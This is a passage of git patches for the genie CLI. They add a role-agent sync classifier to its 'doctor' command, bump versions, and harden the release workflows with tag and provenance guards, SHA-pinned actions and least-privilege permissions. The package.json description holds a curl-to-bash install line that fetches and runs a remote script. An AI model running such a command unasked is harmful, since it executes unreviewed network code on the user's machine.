expect(find(results, DUP_CHECK)).toBeUndefined(); + expect(find(results, ROLE_CHECK)?.roleAgents?.duplicateSurface).toBe(false); + + // absent settings.json → still no warning, flag false + rmSync(join(claudeDir, 'settings.json'), { force: true }); + results = checkAgentSync(paths()); + expect(find(results, DUP_CHECK)).toBeUndefined(); + expect(find(results, ROLE_CHECK)?.roleAgents?.duplicateSurface).toBe(false); + }); + + test('--json carries the per-file states under stable field names (dashboard-consumable)', () => { + // Drive the exact document doctorCommand serializes: { ok, checks: results }. + writeSourceAgent('scout', '# scout\n'); // hand-copy → present-unmanaged + writeTargetAgent('scout', '# scout\n'); + writeSourceAgent('reviewer', '# reviewer\n'); // stamped-current + writeTargetAgent('reviewer', '# reviewer\n'); + writeSourceAgent('fixer', '# fixer\n'); // missing-from-target + writeAgentManifest({ 'reviewer.md': { digest: computeFileDigest(join(agentsDir, 'reviewer.md')) } }); + + const results = checkAgentSync(paths()); + const doc = JSON.parse(JSON.stringify({ ok: true, checks: results })) as { + checks: Array<{ name: string; roleAgents?: { files: Array<{ name: string; state: string }> } }>; + }; + const rider = doc.checks.find((c) => c.name === ROLE_CHECK)?.roleAgents; + const states = Object.fromEntries((rider?.files ?? []).map((f) => [f.name, f.state])); + expect(states['scout.md']).toBe('present-unmanaged'); + expect(states['reviewer.md']).toBe('genie-managed-current'); + expect(states['fixer.md']).toBe('missing-from-target'); + }); +}); diff --git a/src/genie-commands/doctor.ts b/src/genie-commands/doctor.ts index 587de36bd..279e29504 100644 --- a/src/genie-commands/doctor.ts +++ b/src/genie-commands/doctor.ts @@ -27,11 +27,15 @@ import { import { homedir } from 'node:os'; import { dirname, isAbsolute, join, resolve } from 'node:path'; import { + type AgentFileManifestEntry, CLAUDE_EXCLUDED_SKILLS, MANAGED_BY, MANIFEST_NAME, TARGET_NAME, computeDirDigest, + computeFileDigest, + enumerateSourceAgentFiles, + readAgentFilesManifestState, resolveAgentsSkillsDir, resolveGenieSource, resolveHermesConfigPath, @@ -73,11 +77,48 @@ type CheckStatus = 'pass' | 'warn' | 'fail'; export const MINIMUM_BUN_VERSION = '1.3.10'; +/** + * Per-file delivery state of one Claude role agent in `~/.claude/agents/`, + * derived from the Group-A `.genie-sync.json` manifest + the canonical source + * `agents/` dir. These four names are the STABLE machine-readable contract the + * execution-optimization dashboard parses off `genie doctor --json` — do NOT + * rename them without updating that consumer: + * - genie-managed-current : manifest entry present, on-disk == manifest == source. + * - genie-managed-stale : manifest entry present, but on-disk / source drifted + * (edited target, moved-on source, or an orphaned managed file). + * - present-unmanaged : source role agent present on disk with NO manifest entry + * (the 2026-07-11 hand-copy — NOT healthy genie-managed). + * - missing-from-target : source role agent absent from `~/.claude/agents/`. + */ +export type RoleAgentFileState = + | 'genie-managed-current' + | 'genie-managed-stale' + | 'present-unmanaged' + | 'missing-from-target'; + +/** Structured rider carried on the role-agent check for dashboard consumers. */ +export interface RoleAgentDelivery { + /** Trust verdict on the shared `~/.claude/agents/.genie-sync.json` manifest. */ + manifestStatus: 'managed' | 'foreign' | 'absent' | 'unsafe'; + /** Present only when `manifestStatus === 'unsafe'`. */ + manifestReason?: string; + /** One entry per source role agent (and any managed manifest entry), name-sorted. */ + files: Array<{ name: string; state: RoleAgentFileState }>; + /** True when the `genie@automagik` plugin is ALSO enabled — plugin `genie:*` and fanned bare names both surface. */ + duplicateSurface: boolean; +} + interface CheckResult { name: string; status: CheckStatus; detail?: string; suggestion?: string; + /** + * Machine-readable payload rider (survives `--json` as `checks[].roleAgents`). + * Only the `agent sync: claude role agents` check sets it; see + * {@link RoleAgentDelivery} for the stable field/state-name contract. + */ + roleAgents?: RoleAgentDelivery; } // ============================================================================ @@ -795,7 +836,154 @@ function councilStampState(councilPath: string, pluginRoot: string): { stale: bo return { stale: true, label: `stale (LENS_ROOT ${root ?? 'unreadable'})` }; } -function checkClaudeSync(pluginRoot: string, claudeDir: string): CheckResult[] { +// ============================================================================ +// Claude role-agent delivery (~/.claude/agents) — per-file classifier +// +// summarizeManagedSkills() cannot be reused here: it is subdir-based (a manifest +// INSIDE each skill dir) and so it is blind to flat `.md` agent files and +// cannot express a "present-unmanaged" state. Role agents are flat files under a +// SINGLE shared dir-level manifest (Group A), so this classifier is per-FILE. +// ============================================================================ + +/** Digest of each flat source role agent under `/agents`; unreadable files are skipped. */ +function sourceAgentDigests(pluginRoot: string): Map { + const digests = new Map(); + for (const agent of enumerateSourceAgentFiles(pluginRoot)) { + try { + digests.set(agent.name, computeFileDigest(agent.path)); + } catch { + /* unreadable source file — omit rather than misclassify */ + } + } + return digests; +} + +function isRegularFile(path: string): boolean { + try { + return lstatSync(path).isFile(); + } catch { + return false; + } +} + +function safeFileDigest(path: string): string | null { + try { + return computeFileDigest(path); + } catch { + return null; + } +} + +/** + * State of one role-agent filename from the source digest set + manifest entries. + * "current" mirrors the skills contract (on-disk == manifest == source). Returns + * null for a name genie does not speak for (a user-authored agent absent from + * both source and the manifest is never reported). + */ +function classifyRoleAgentFile( + agentsDir: string, + name: string, + source: Map, + entries: Record, +): RoleAgentFileState | null { + const present = isRegularFile(join(agentsDir, name)); + const entry = entries[name]; + const inSource = source.has(name); + if (entry === undefined) { + if (present) return inSource ? 'present-unmanaged' : null; + return inSource ? 'missing-from-target' : null; + } + if (!present) return inSource ? 'missing-from-target' : null; + const onDisk = safeFileDigest(join(agentsDir, name)); + const current = inSource && onDisk !== null && onDisk === entry.digest && entry.digest === source.get(name); + return current ? 'genie-managed-current' : 'genie-managed-stale'; +} + +/** Classify every source role agent (and any managed manifest entry) under `/agents`. */ +function classifyRoleAgents(pluginRoot: string, agentsDir: string): Omit { + const source = sourceAgentDigests(pluginRoot); + const manifest = readAgentFilesManifestState(agentsDir); + const entries = manifest.kind === 'managed' ? manifest.files : {}; + const names = new Set([...source.keys(), ...Object.keys(entries)]); + const files: RoleAgentDelivery['files'] = []; + for (const name of [...names].sort()) { + const state = classifyRoleAgentFile(agentsDir, name, source, entries); + if (state !== null) files.push({ name, state }); + } + return { + manifestStatus: manifest.kind, + manifestReason: manifest.kind === 'unsafe' ? manifest.reason : undefined, + files, + }; +} + +/** Human-facing summary + a stale flag (any non-current state, or an unusable manifest, warns). */ +function roleAgentSummary(delivery: Omit): { detail: string; stale: boolean } { + if (delivery.manifestStatus === 'unsafe') { + return { + detail: `manifest unusable (${delivery.manifestReason}) — every role agent treated as unmanaged`, + stale: true, + }; + } + if (delivery.files.length === 0) return { detail: 'no genie role agents detected', stale: false }; + const counts: Record = { + 'genie-managed-current': 0, + 'genie-managed-stale': 0, + 'present-unmanaged': 0, + 'missing-from-target': 0, + }; + for (const file of delivery.files) counts[file.state] += 1; + const detail = + `${counts['genie-managed-current']}/${delivery.files.length} genie-managed-current, ` + + `${counts['present-unmanaged']} present-unmanaged, ${counts['genie-managed-stale']} stale, ` + + `${counts['missing-from-target']} missing-from-target`; + const stale = counts['genie-managed-current'] !== delivery.files.length; + return { detail, stale }; +} + +/** `enabledPlugins["genie@automagik"] === true` in Claude Code's settings.json (unreadable → false). */ +function roleAgentDuplicateSurface(settingsPath: string): boolean { + try { + const settings = JSON.parse(readFileSync(settingsPath, 'utf8')) as { enabledPlugins?: Record }; + return settings.enabledPlugins?.['genie@automagik'] === true; + } catch { + return false; + } +} + +/** + * Per-file role-agent delivery check + the duplicate-surface warning. The + * structured {@link RoleAgentDelivery} rides `--json` as `checks[].roleAgents` + * so the dashboard reads the four state names without parsing prose; the + * duplicate warning is emitted as its own line ONLY when the plugin is enabled. + */ +function checkRoleAgents(pluginRoot: string, claudeDir: string, settingsPath: string): CheckResult[] { + const classification = classifyRoleAgents(pluginRoot, join(claudeDir, 'agents')); + const duplicateSurface = roleAgentDuplicateSurface(settingsPath); + const { detail, stale } = roleAgentSummary(classification); + const results: CheckResult[] = [ + { + name: 'agent sync: claude role agents', + status: stale ? 'warn' : 'pass', + detail, + suggestion: stale ? SYNC_SUGGESTION : undefined, + roleAgents: { ...classification, duplicateSurface }, + }, + ]; + if (duplicateSurface) { + results.push({ + name: 'agent sync: duplicate role-agent surface', + status: 'warn', + detail: + 'genie@automagik plugin enabled — plugin `genie:*` agents and fanned bare-named agents both surface (duplicate listings)', + suggestion: + 'Keep the genie plugin disabled (bare-named agents are fanned by `genie update`), or expect duplicates.', + }); + } + return results; +} + +function checkClaudeSync(pluginRoot: string, claudeDir: string, settingsPath: string): CheckResult[] { if (!existsSync(claudeDir)) return [{ name: 'agent sync: claude', status: 'pass', detail: 'not detected' }]; // Claude legitimately excludes `council` (the /council native workflow owns // that name), so its expected source set is source minus CLAUDE_EXCLUDED_SKILLS @@ -810,6 +998,7 @@ function checkClaudeSync(pluginRoot: string, claudeDir: string): CheckResult[] { detail: `${skills.detail}; council.js ${council.label}`, suggestion: stale ? SYNC_SUGGESTION : undefined, }, + ...checkRoleAgents(pluginRoot, claudeDir, settingsPath), ]; } @@ -1227,7 +1416,7 @@ export function checkAgentSync(paths: AgentSyncPaths = {}): CheckResult[] { const pluginRoot = source.pluginRoot; const hermesBinary = paths.hermesBinary !== undefined ? paths.hermesBinary : whichBinary('hermes'); return [ - ...safeAgentChecks('claude', () => checkClaudeSync(pluginRoot, claudeDir)), + ...safeAgentChecks('claude', () => checkClaudeSync(pluginRoot, claudeDir, settingsPath)), ...safeAgentChecks('codex', () => checkCodexSync(codexDir, agentsSkillsDir, pluginRoot)), ...safeAgentChecks('hermes', () => checkHermesSync({ diff --git a/src/lib/agent-sync.ts b/src/lib/agent-sync.ts index 7c480b130..98908420f 100644 --- a/src/lib/agent-sync.ts +++ b/src/lib/agent-sync.ts @@ -354,7 +354,7 @@ interface SkillOutcome { detail?: string; } -interface SourceAgentFile { +export interface SourceAgentFile { name: string; path: string; } @@ -599,6 +599,34 @@ export function readAgentFilesManifest(dir: string): AgentFilesManifest | null { return state.kind === 'managed' ? state.manifest : null; } +/** + * Lightweight, read-only view of the shared agent manifest for external + * consumers (doctor). Distinguishes a genie-managed manifest (with its per-file + * entries) from foreign / absent / unsafe WITHOUT exposing the raw byte+stat + * snapshot. `unsafe` mirrors {@link inspectAgentFilesManifest}'s fail-closed + * verdict (symlink, non-regular file, multiple hard links, or unreadable) so a + * diagnostic can surface it as a warning instead of silently reporting healthy. + */ +export type AgentFilesManifestView = + | { kind: 'managed'; files: Record } + | { kind: 'foreign' } + | { kind: 'absent' } + | { kind: 'unsafe'; reason: string }; + +export function readAgentFilesManifestState(dir: string): AgentFilesManifestView { + const state = inspectAgentFilesManifest(dir); + switch (state.kind) { + case 'managed': + return { kind: 'managed', files: state.manifest.files }; + case 'foreign': + return { kind: 'foreign' }; + case 'absent': + return { kind: 'absent' }; + default: + return { kind: 'unsafe', reason: state.reason }; + } +} + function inspectAgentFilesManifest(dir: string): AgentManifestState { const path = join(dir, MANIFEST_NAME); let stat: Stats; @@ -3300,8 +3328,12 @@ function removeManagedOrphans( // Claude agent enumeration + per-file policy // ============================================================================ -/** Source agents are flat Markdown files directly under `/agents`. */ -function enumerateSourceAgentFiles(pluginRoot: string): SourceAgentFile[] { +/** + * Source agents are flat Markdown files directly under `/agents`. + * Exported so doctor's read-only role-agent classifier enumerates the exact same + * source set the sync engine fans out (no divergent reimplementation). + */ +export function enumerateSourceAgentFiles(pluginRoot: string): SourceAgentFile[] { const agentsRoot = join(pluginRoot, 'agents'); if (!existsSync(agentsRoot)) return []; return readdirSync(agentsRoot, { withFileTypes: true }) From e74737f1e8bbfc0b36b803606626dfb5c01c7ffe Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 Jul 2026 15:35:24 +0000 Subject: [PATCH 03/20] chore(version): bump to 5.260714.4 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 05ec11464..7f9918710 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260714.3", + "version": "5.260714.4", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 81fb8bd65..44a78c2cf 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@automagik/genie", - "version": "5.260714.3", + "version": "5.260714.4", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", "type": "module", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index ad481a14c..e0086f99b 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260714.3", + "version": "5.260714.4", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 89257abec..bd0260a37 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260714.3", + "version": "5.260714.4", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index bc1f41447..503dbaf12 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260714.3", + "version": "5.260714.4", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index c3fce5e30..172e75322 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260714.3 +version: 5.260714.4 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. From d4b4b31b8a06248bbd88508b0e9bda57a7448858 Mon Sep 17 00:00:00 2001 From: Felipe Date: Tue, 14 Jul 2026 13:27:31 -0300 Subject: [PATCH 04/20] feat(release): guard the stable publish chain with tag/provenance gates + least-privilege CI MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Close inherited findings F16/F17/F18 and the channel-scoped environment deliverable of the stable-release-security-gate wish, entirely in repo code. F16/F17 — every dispatchable entry point (release.yml, build-tarballs.yml, sign-attest.yml, release-publish.yml) now gates on scripts/release-guard.sh: a manual workflow_dispatch must target a protected v tag, and a break-glass run_id is bound to a SUCCESSFUL upstream run on the same repo, workflow, tag ref, and head SHA before anything is signed or published. The guard is extracted into a shell helper with colocated bun:test fixtures (scripts/release-guard.test.ts, 18 cases) because CI has no workflow simulator. HARD INVARIANT preserved: the dev release path dispatches release.yml on the freshly-pushed tag, so it always satisfies the tag guard; orchestrated workflow_call sub-runs pass no run_id and inherit the tag ref. Deliverable 6 — release-publish.yml's publish job declares `environment: production` ONLY when channel == 'stable'; dev/homolog resolve to an empty environment string, so dev keeps publishing with no approval gate. release-publish.yml's standalone dispatch channel default flips from stable to dev (defensive). F18 — SHA-pin all third-party actions (setup-bun, cosign-installer, slsa-verifier installer, ggshield-action, attest-build-provenance); freeze the last unfrozen `bun install`s in ci.yml + version.yml; add a least-privilege top-level `permissions: contents: read` to ci.yml; and drop blanket `secrets: inherit` from release.yml (called workflows use only the auto-provided GITHUB_TOKEN). The SLSA generator reusable stays pinned to its `@v2.1.0` semver tag with a documented exception — slsa-verifier derives the trusted builder identity from that tag and the build fails if it is pinned to a commit SHA. Co-Authored-By: Claude Fable 5 --- .github/workflows/build-tarballs.yml | 27 +++- .github/workflows/ci.yml | 20 ++- .github/workflows/release-publish.yml | 53 ++++++- .github/workflows/release.yml | 38 ++++- .github/workflows/sign-attest.yml | 52 +++++- .github/workflows/version.yml | 4 +- scripts/release-guard.sh | 154 ++++++++++++++++++ scripts/release-guard.test.ts | 218 ++++++++++++++++++++++++++ 8 files changed, 547 insertions(+), 19 deletions(-) create mode 100755 scripts/release-guard.sh create mode 100644 scripts/release-guard.test.ts diff --git a/.github/workflows/build-tarballs.yml b/.github/workflows/build-tarballs.yml index 611faba1b..8cb6d3682 100644 --- a/.github/workflows/build-tarballs.yml +++ b/.github/workflows/build-tarballs.yml @@ -77,7 +77,32 @@ permissions: contents: read jobs: + # F16 gate (wish stable-release-security-gate): the standalone + # workflow_dispatch entry is stable-capable (its tarballs feed sign + publish), + # so a manual dispatch must target a protected `v` tag, never a + # free-form branch. The `pull_request` and orchestrated `workflow_call` paths + # are exempt — the guard no-ops for them. github.event_name inside a + # release.yml-dispatched workflow_call is `workflow_dispatch`, and release.yml + # is always dispatched on the tag, so the orchestrated dev/stable flow passes. + guard: + name: Guard standalone dispatch + runs-on: ubuntu-latest + timeout-minutes: 5 + permissions: + contents: read + steps: + - uses: actions/checkout@v5 + - name: Require a protected tag for standalone dispatch + shell: bash + run: bash scripts/release-guard.sh require-dispatch-tag + env: + EVENT: ${{ github.event_name }} + REF: ${{ github.ref }} + VERSION: ${{ inputs.version }} + CHANNEL: '' + build: + needs: guard name: Build ${{ matrix.platform }} runs-on: ${{ matrix.runner }} timeout-minutes: 30 @@ -98,7 +123,7 @@ jobs: - uses: actions/checkout@v5 - name: Setup Bun - uses: oven-sh/setup-bun@v2 + uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 with: bun-version: 1.3.11 diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2ebc7081a..aeacf229c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -12,6 +12,12 @@ concurrency: group: ci-${{ github.ref }} cancel-in-progress: true +# Least-privilege default (wish stable-release-security-gate, F18). CI only ever +# reads the repo — no job here writes contents, packages, or attestations. Any +# future job that needs more must opt in with its own job-level `permissions:`. +permissions: + contents: read + jobs: secrets-scan: name: Secrets Scan (GitGuardian) @@ -24,7 +30,7 @@ jobs: with: fetch-depth: 0 - - uses: GitGuardian/ggshield-action@v1 + - uses: GitGuardian/ggshield-action@da20be06cafe5e8633dc24744efe1efe8d30f06b # v1 if: ${{ env.GITGUARDIAN_API_KEY != '' }} env: GITHUB_PUSH_BEFORE_SHA: ${{ github.event.before }} @@ -47,14 +53,14 @@ jobs: with: submodules: recursive - - uses: oven-sh/setup-bun@v2 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 with: bun-version: "1.3.11" - name: Install dependencies env: BUN_INSTALL_CACHE_DIR: ${{ runner.temp }}/bun-cache-${{ github.run_id }}-${{ github.run_attempt }} - run: bun install + run: bun install --frozen-lockfile - name: Build run: bun run build @@ -108,14 +114,14 @@ jobs: with: submodules: recursive - - uses: oven-sh/setup-bun@v2 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 with: bun-version: "1.3.11" - name: Install dependencies env: BUN_INSTALL_CACHE_DIR: ${{ runner.temp }}/bun-cache-${{ github.run_id }}-${{ github.run_attempt }} - run: bun install + run: bun install --frozen-lockfile - name: v5 lifecycle e2e run: V5_E2E_BUILD=1 bash tests/e2e/v5-lifecycle.sh @@ -136,7 +142,7 @@ jobs: steps: - uses: actions/checkout@v5 - - uses: oven-sh/setup-bun@v2 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 with: bun-version: "1.3.11" @@ -147,7 +153,7 @@ jobs: - name: Install dependencies env: BUN_INSTALL_CACHE_DIR: ${{ runner.temp }}/bun-cache-${{ github.run_id }}-${{ github.run_attempt }} - run: bun install + run: bun install --frozen-lockfile - name: Install codex CLI (pinned, unauthenticated — the smokes never call `codex login`) run: npm install -g @openai/codex@0.144.1 diff --git a/.github/workflows/release-publish.yml b/.github/workflows/release-publish.yml index 731e2f1b4..bbe95b764 100644 --- a/.github/workflows/release-publish.yml +++ b/.github/workflows/release-publish.yml @@ -68,7 +68,12 @@ on: description: 'Release channel (stable = no --prerelease; homolog/dev = --prerelease)' required: true type: choice - default: stable + # Defensive default (wish stable-release-security-gate, F16): a careless + # standalone dispatch defaults to the prerelease `dev` channel, NOT + # `stable`. Standalone publish is a break-glass replay path — reaching + # the stable channel + production environment must be a deliberate + # operator choice on a protected tag, never the fall-through default. + default: dev # Canonical channel taxonomy (Felipe directive 2026-05-12, # unified across the automagik sibling projects). beta + canary retired. options: @@ -89,10 +94,56 @@ permissions: contents: write # gh release create/upload + push latest.json commit jobs: + # F16/F17 gate (wish stable-release-security-gate). The standalone + # workflow_dispatch here is a direct stable-publish path that bypasses the + # orchestrator, so it must target a protected `v` tag and its + # break-glass `run_id` must resolve to a SUCCESSFUL sign-attest run on the SAME + # repo, workflow, tag ref, and head SHA. The orchestrated workflow_call passes + # no run_id (provenance no-op) and inherits the tag ref, so dev/stable releases + # driven by release.yml are never blocked. Logic lives in + # scripts/release-guard.sh so it is unit-tested rather than an inline `${{ }}`. + guard: + name: Guard dispatch + upstream provenance + runs-on: ubuntu-latest + timeout-minutes: 5 + permissions: + contents: read + actions: read # gh api reads the upstream sign-attest run record + steps: + - uses: actions/checkout@v5 + - name: Require a protected tag for standalone dispatch + shell: bash + run: bash scripts/release-guard.sh require-dispatch-tag + env: + EVENT: ${{ github.event_name }} + REF: ${{ github.ref }} + VERSION: ${{ inputs.version }} + CHANNEL: ${{ inputs.channel }} + - name: Bind break-glass run_id to the upstream sign-attest identity + shell: bash + run: bash scripts/release-guard.sh guard-run-provenance + env: + RUN_ID: ${{ inputs.run_id }} + EXPECTED_REPO: ${{ github.repository }} + EXPECTED_WORKFLOW: .github/workflows/sign-attest.yml + EXPECTED_REF: ${{ github.ref }} + EXPECTED_SHA: ${{ github.sha }} + EXPECTED_VERSION: ${{ inputs.version }} + GH_TOKEN: ${{ github.token }} + publish: + needs: [guard] name: Publish to GitHub Releases runs-on: ubuntu-latest timeout-minutes: 10 + # Channel-scoped production environment (wish deliverable 6). The GitHub + # `production` environment (Group 2: independent required reviewer + + # prevent-self-review) attaches ONLY when channel == 'stable'. Dev/homolog + # resolve to an empty environment string → NO approval gate, so the HARD + # INVARIANT (dev publishes end-to-end without manual approval) holds. In the + # orchestrated path release.yml passes channel through, so a dev release + # here has inputs.channel == 'dev' and never touches production. + environment: ${{ inputs.channel == 'stable' && 'production' || '' }} steps: - uses: actions/checkout@v5 diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 6fe32f480..cb3489e0c 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -10,8 +10,9 @@ name: Release # sign-attest.yml + release-publish.yml receive version via workflow_call # inputs. Per-job `permissions:` blocks declare the union of the called # workflow's inner needs (caller is the ceiling — workflow_call does NOT -# auto-inherit, per Decision #7 of the wish). `secrets: inherit` on every -# uses: invocation for forward-compat. +# auto-inherit, per Decision #7 of the wish). Blanket `secrets: inherit` was +# removed (F18 least-privilege): the called workflows use only GITHUB_TOKEN, +# which reusable workflows receive automatically. # # The cosign keyless OIDC SAN URI remains # `.github/workflows/sign-attest.yml@` because the cosign step @@ -56,11 +57,38 @@ concurrency: cancel-in-progress: false jobs: + # F16 gate (wish stable-release-security-gate): a stable-capable + # workflow_dispatch must target a protected `v` tag, never a + # free-form branch ref. The automated dev release dispatches this workflow on + # the freshly-pushed tag (version.yml), so dev is never blocked — the guard is + # a tag-ref requirement on manual dispatch only (HARD INVARIANT preserved). A + # bare `push: tags: v*` trigger is already tag-bound, so the guard no-ops for + # it. Extracted into scripts/release-guard.sh so it is unit-tested + # (scripts/release-guard.test.ts) rather than an unverifiable inline `${{ }}`. + guard: + name: Guard stable-capable dispatch + runs-on: ubuntu-latest + timeout-minutes: 5 + permissions: + contents: read + steps: + - uses: actions/checkout@v5 + - name: Require a protected tag for stable-capable dispatch + shell: bash + run: bash scripts/release-guard.sh require-dispatch-tag + env: + EVENT: ${{ github.event_name }} + REF: ${{ github.ref }} + VERSION: ${{ inputs.version }} + CHANNEL: ${{ inputs.channel }} + build: + needs: guard uses: ./.github/workflows/build-tarballs.yml permissions: contents: read - secrets: inherit + # GITHUB_TOKEN is provided to reusable workflows automatically; the called + # workflows use no other secret (F18 — blanket `secrets: inherit` removed). sign-attest: needs: build @@ -70,11 +98,11 @@ jobs: id-token: write # cosign keyless + attest-build-provenance OIDC attestations: write # GitHub Attestations API registration actions: read # cross-run artifact metadata - secrets: inherit # No `with.version:` — sign-attest.yml derives the bare version from # tarball filenames (genie--.tar.gz). Passing # github.ref_name on tag pushes would leak the `v` prefix and fail # sign-attest's input/derived version equality check at line 129-132. + # secrets: inherit removed (F18) — sign-attest only reads GITHUB_TOKEN. publish: needs: sign-attest @@ -82,7 +110,7 @@ jobs: permissions: contents: write # gh release create/upload + push latest.json commit id-token: write # reserved for any OIDC-using publish-time verifiers - secrets: inherit + # secrets: inherit removed (F18) — release-publish only reads GITHUB_TOKEN. with: version: ${{ needs.sign-attest.outputs.version }} # workflow_dispatch supplies the channel (version.yml passes 'dev' for diff --git a/.github/workflows/sign-attest.yml b/.github/workflows/sign-attest.yml index 3a47fc8d9..19a071445 100644 --- a/.github/workflows/sign-attest.yml +++ b/.github/workflows/sign-attest.yml @@ -63,11 +63,50 @@ permissions: contents: read jobs: + # --------------------------------------------------------------------------- + # guard — F16/F17 (wish stable-release-security-gate). A standalone + # workflow_dispatch must target a protected `v` tag, and a break-glass + # `run_id` must point at a SUCCESSFUL build-tarballs run on the SAME repo, + # workflow, tag ref, and head SHA before anything is signed. The orchestrated + # workflow_call path passes no run_id (RUN_ID empty → provenance no-op) and + # inherits the tag ref, so dev/stable releases are never blocked. Validation is + # in scripts/release-guard.sh so it is unit-tested, not an inline `${{ }}`. + # --------------------------------------------------------------------------- + guard: + name: Guard dispatch + upstream provenance + runs-on: ubuntu-latest + timeout-minutes: 5 + permissions: + contents: read + actions: read # gh api reads the upstream run record + steps: + - uses: actions/checkout@v5 + - name: Require a protected tag for standalone dispatch + shell: bash + run: bash scripts/release-guard.sh require-dispatch-tag + env: + EVENT: ${{ github.event_name }} + REF: ${{ github.ref }} + VERSION: ${{ inputs.version }} + CHANNEL: '' + - name: Bind break-glass run_id to the upstream build-tarballs identity + shell: bash + run: bash scripts/release-guard.sh guard-run-provenance + env: + RUN_ID: ${{ inputs.run_id }} + EXPECTED_REPO: ${{ github.repository }} + EXPECTED_WORKFLOW: .github/workflows/build-tarballs.yml + EXPECTED_REF: ${{ github.ref }} + EXPECTED_SHA: ${{ github.sha }} + EXPECTED_VERSION: ${{ inputs.version }} + GH_TOKEN: ${{ github.token }} + # --------------------------------------------------------------------------- # prepare — resolve version + upstream run-id, download every tarball, # build the multi-subject base64 input the SLSA generator consumes. # --------------------------------------------------------------------------- prepare: + needs: [guard] name: Prepare hashes for SLSA runs-on: ubuntu-latest timeout-minutes: 10 @@ -165,6 +204,13 @@ jobs: # check requires the elevated grant. contents: write actions: read # read upstream workflow run metadata + # SHA-PINNING EXCEPTION (wish stable-release-security-gate, F18): the SLSA + # generator reusable workflow MUST be referenced by an exact `@vX.Y.Z` + # semver tag and CANNOT be pinned to a commit SHA. slsa-verifier derives the + # trusted builder identity from this tag, and the generator FAILS THE BUILD + # if referenced by a hash or a shorter tag (`@vX` / `@vX.Y`). See + # slsa-github-generator README ("It also needs to be referred as `@vX.Y.Z`") + # and slsa-verifier issue #12. Pinning here would break stable provenance. uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@v2.1.0 with: base64-subjects: ${{ needs.prepare.outputs.hashes }} @@ -244,12 +290,12 @@ jobs: ls -la "${DEST}" - name: Install cosign - uses: sigstore/cosign-installer@v3 + uses: sigstore/cosign-installer@398d4b0eeef1380460a10c8013a76f728fb906ac # v3 with: cosign-release: 'v2.4.1' - name: Install slsa-verifier - uses: slsa-framework/slsa-verifier/actions/installer@v2.7.1 + uses: slsa-framework/slsa-verifier/actions/installer@ea584f4502babc6f60d9bc799dbbb13c1caa9ee6 # v2.7.1 - name: cosign sign-blob (keyless OIDC, sigstore bundle) shell: bash @@ -282,7 +328,7 @@ jobs: - name: GitHub-native build-provenance attestation id: attest - uses: actions/attest-build-provenance@v1 + uses: actions/attest-build-provenance@ef244123eb79f2f7a7e75d99086184180e6d0018 # v1 with: subject-path: dist/genie-${{ needs.prepare.outputs.version }}-${{ matrix.platform }}.tar.gz diff --git a/.github/workflows/version.yml b/.github/workflows/version.yml index d0e9741fe..fcf9a5928 100644 --- a/.github/workflows/version.yml +++ b/.github/workflows/version.yml @@ -155,12 +155,12 @@ jobs: echo "::notice ::release-trigger.promotion_unverified head commit is neither a dev merge commit nor content-identical to dev — stable/homolog dispatch skipped" fi - - uses: oven-sh/setup-bun@v2 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 with: bun-version: "1.3.10" - name: Install dependencies - run: bun install + run: bun install --frozen-lockfile - name: Configure git if: 